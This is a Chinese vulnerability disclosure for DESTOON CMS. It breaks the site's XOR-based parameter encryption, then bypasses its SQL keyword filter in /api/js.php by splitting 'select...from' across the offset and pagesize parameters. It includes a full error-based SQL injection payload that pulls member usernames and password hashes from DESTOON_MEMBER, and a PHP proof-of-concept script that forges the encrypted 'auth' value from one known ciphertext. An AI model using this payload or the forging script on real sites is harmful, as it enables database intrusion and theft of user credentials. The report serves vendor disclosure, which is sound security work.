### 简要描述:
看了一晚上。还好挖到了、
涉及算法(非暴力),以及一些sql姿势。
通宵提交的漏洞,可能算法剖析那写的有点不清楚,那就重复看几遍 = =
写了这么多,其实我就是想求个精华~
### 详细说明:
---------------------------------------------------------------------
#1 算法剖析篇
-------------
相比以前 索马里的海贼 大牛破解的, 最新版的算法以及做了很大的改进。
```
function encrypt($txt, $key = '') {
$key or $key = DT_KEY;
$rnd = random(32);
$txt = $txt.substr($key, 0, 3);
$len = strlen($txt);
$ctr = 0;
$str = '';
for($i = 0; $i < $len; $i++) {
$ctr = $ctr == 32 ? 0 : $ctr;
$str .= $rnd[$ctr].($txt[$i] ^ $rnd[$ctr++]);
}
return str_replace(array('=', '+', '/', '0x', '0X'), array('', '-P-', '-S-', '-Z-', '-X-'), base64_encode(kecrypt($str, $key)));
}
function decrypt($txt, $key = '') {
$key or $key = DT_KEY;
$txt = kecrypt(base64_decode(str_replace(array('-P-', '-S-', '-Z-', '-X-'), array('+', '/', '0x', '0X'), $txt)), $key);
$len = strlen($txt);
$str = '';
for($i = 0; $i < $len; $i++) {
$tmp = $txt[$i];
$str .= $txt[++$i] ^ $tmp;
}
return substr($str, -3) == substr($key, 0, 3) ? substr($str, 0, -3) : '';
}
function kecrypt($txt, $key) {
$key = md5($key);
$len = strlen($txt);
$ctr = 0;
$str = '';
for($i = 0; $i < $len; $i++) {
$ctr = $ctr == 32 ? 0 : $ctr;
$str .= $txt[$i] ^ $key[$ctr++];
}
return $str;
}
```
可以看到 iv向量由原来的 $rnd = md5(microtime()) 变成了 $rnd = random(32);
如果仅仅是这样的话 ,倒是可以很快逆出来的,
但是,可以看到它增加了
```
return substr($str, -3) == substr($key, 0, 3) ? substr($str, 0, -3) : '';
```
用于判断数据的完整性。我们逆向推导下密文的还原过程。
1. 首先 base64_decode(str_replace(array('-P-', '-S-', '-Z-', '-X-'), array('+', '/', '0x', '0X'), $txt) 进行特殊符号替换和base64解码。
2. 带入 kecrypt.
(由于数学公式不好打 所以上传图片了- -)
[<img src="https://images.seebug.org/upload/201509/180936095a7f350a5b922a8c402fb43862debf5a.png" alt="d1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/180936095a7f350a5b922a8c402fb43862debf5a.png)
[<img src="https://images.seebug.org/upload/201509/18093913e395ed4c3c1e4b6302ca0213435d235a.png" alt="d2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/18093913e395ed4c3c1e4b6302ca0213435d235a.png)
[<img src="https://images.seebug.org/upload/201509/180939218987fcdf041bf55f2b4d1f19373b9385.png" alt="d3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/180939218987fcdf041bf55f2b4d1f19373b9385.png)
结论:
对于密文的前N-6位,第i ,i+1 位 与其所对应的的 明文的 i 位 做异或运算(i为偶数) 结果是一个固定不变的值(Ki^Ki+1)
对于密文的后6位,当两个密文的长度 与32的余数 相等时,其值不变。
也就是说 ,要获取长度为x的明文所对应的密文,只要知道另一个为y的明文所对应的密文即可。其中
```
(2x+6)%32=(2y+6)%32.
```
-----------------------------------------------
#2 waf绕过
-----------
在/api/js.php中,
```
<?php
$_SERVER['REQUEST_URI'] = '';
require '../common.inc.php';
header("Content-type:text/javascript");
check_referer() or exit('document.write("<h2>Invalid Referer</h2>");');
$tag = isset($auth) ? strip_sql(decrypt($auth)) : '';
$tag or exit('document.write("<h2>Bad Parameter</h2>");');
foreach(array($DT_PRE, '#', '$', '%', '&', 'table', 'fields', 'password', 'payword', 'debug') as $v) {
strpos($tag, $v) === false or exit('document.write("<h2>Bad Parameter</h2>");');
}
ob_start();
tag($tag);
$data = ob_get_contents();
ob_clean();
echo 'document.write(\''.dwrite($data ? $data : 'No Data or Bad Parameter').'\');';
?>
```
调用了,跟到 tag
```
function tag($parameter, $expires = 0) {
.....//省去无意义代码
parse_str($parameter, $par);
if(!is_array($par)) return '';
$par = dstripslashes($par);
extract($par, EXTR_SKIP);
......
$order = $order ? ' ORDER BY '.$order : '';
.......
$query = "SELECT ".$fields." FROM ".$table." WHERE ".$condition.$order." LIMIT ".$offset.",".$pagesize;
```
可以看到 fields table condition order offset pagesize 都无单引号包裹
然而由于
```
foreach(array($DT_PRE, '#', '$', '%', '&', 'table', 'fields', 'password', 'payword', 'debug') as $v) {
strpos($tag, $v) === false or exit('document.write("<h2>Bad Parameter</h2>");');
```
我们只能控制 condition order offset pagesize了
接下来就是绕过 strip_sql了。
```
function strip_sql($string, $type = 1) {
$match = array("/union/i","/where/i","/outfile/i","/dumpfile/i","/0x([a-f0-9]{2,})/i","/select([\s\S]*?)from/i","/select([\s\*\/\-\(\+@])/i","/update([\s\*\/\-\(\+@])/i","/replace([\s\*\/\-\(\+@])/i","/delete([\s\*\/\-\(\+@])/i","/drop([\s\*\/\-\(\+@])/i","/load_file[\s]*\(/i","/substring[\s]*\(/i","/substr[\s]*\(/i","/left[\s]*\(/i","/concat[\s]*\(/i","/concat_ws[\s]*\(/i","/make_set[\s]*\(/i","/ascii[\s]*\(/i","/hex[\s]*\(/i","/ord[\s]*\(/i","/char[\s]*\(/i");
$replace = array('union','where','outfile','dumpfile','0x\\1','select\\1from','select\\1','update\\1','replace\\1','delete\\1','drop\\1','load_file(','substring(','substr(','left(','concat(','concat_ws(','make_set(','ascii(','hex(','ord(','char(');
if($type) {
return is_array($string) ? array_map('strip_sql', $string) : preg_replace($match, $replace, $string);
} else {
return str_replace(array('d', 'e', 'g', 'i', 'n','p', 'r', 's', 't', 'x'), array('d', 'e', 'g', 'i', 'n', 'p', 'r', 's', 't', 'x'), $string);
}
}
```
这过滤简直可怕。
select任意字符from 以及select xxx都不行,
但是注意,limit后面的$offset.",".$pagesize; 是拼接起来的。
我们这样提交pagesize=from&offset=select xxx&moduleid=2&condition=userid=1 就可以绕过 select * from 的检测,
然后 select{x(name)} 绕过 select xxx。
为了方便 ,开启debug进行报错注入演示。
测试的payload为
```
pagesize="!"))}from DESTOON_MEMBER order by userid limit 1)),1)&offset=1,1 procedure analyse(extractvalue(rand(),(select{x(insert(insert(PASSWORD,1,0,username),1,0&moduleid=2&condition=userid=1
```
一共 193字节。根据前面的公式 (2x+6)%32=(2y+6)%32 我们只要找一个已知明文为17字节的密文即可构造了。
在 公司联系方式这个地方可以很快的找到。
[<img src="https://images.seebug.org/upload/201509/18100526cd3a1a38d637bc491b587d530fe08967.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/18100526cd3a1a38d637bc491b587d530fe08967.png)
### 漏洞证明:
填入poc。
```
<?php
function cracked($Expressly,$Ciphertext,$str){
$Ciphertext=str_replace(array('-P-', '-S-', '-Z-', '-X-'),array('+', '/', '0x', '0X'),$Ciphertext);
$Ciphertext = base64_decode($Ciphertext);
$c=strlen($Ciphertext);
$text2="a";
$j=0;
$s=0;
for($i=0;$i<strlen($str);$i++,$s++){
if($j==32){$j=0;$s=0;}
$tmp=$Ciphertext[$j]^$Ciphertext[$j+1];
$tmp=$tmp^$Expressly[$s];
$tmp=$tmp^$str[$i];
$text1=$tmp^$text2;
$xxoo =$xxoo.$text2.$text1;
$j=$j+2;
}
for($i=5;$i>=1;$i=$i-2){
$tmp=$Ciphertext[$c-$i]^$Ciphertext[$c-$i-1]^'a';
$xxoo = $xxoo.'a'.$tmp;
}
echo str_replace(array('+', '/', '0x', '0X'),array('-P-', '-S-', '-Z-', '-X-'),base64_encode($xxoo));
}
cracked("1111111111@qq.com","f018SggzVGUtHlo6J0ZaOg5rekJ6bnUGdQBgF1FhKURALgJiClMrTg",'pagesize="!"))}from DESTOON_MEMBER order by userid limit 1)),1)&offset=1,1 procedure analyse(extractvalue(rand(),(select{x(insert(insert(PASSWORD,1,0,username),1,0&moduleid=2&condition=userid=1');
?>
```
将得到的值填入auth
提交/api/js.php?auth=xxx
修改下 Referer 即可注入。
[<img src="https://images.seebug.org/upload/201509/18100921fb9fb4fa85acac89e9c117671e7c7cff.png" alt="11.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/18100921fb9fb4fa85acac89e9c117671e7c7cff.png)
暂无评论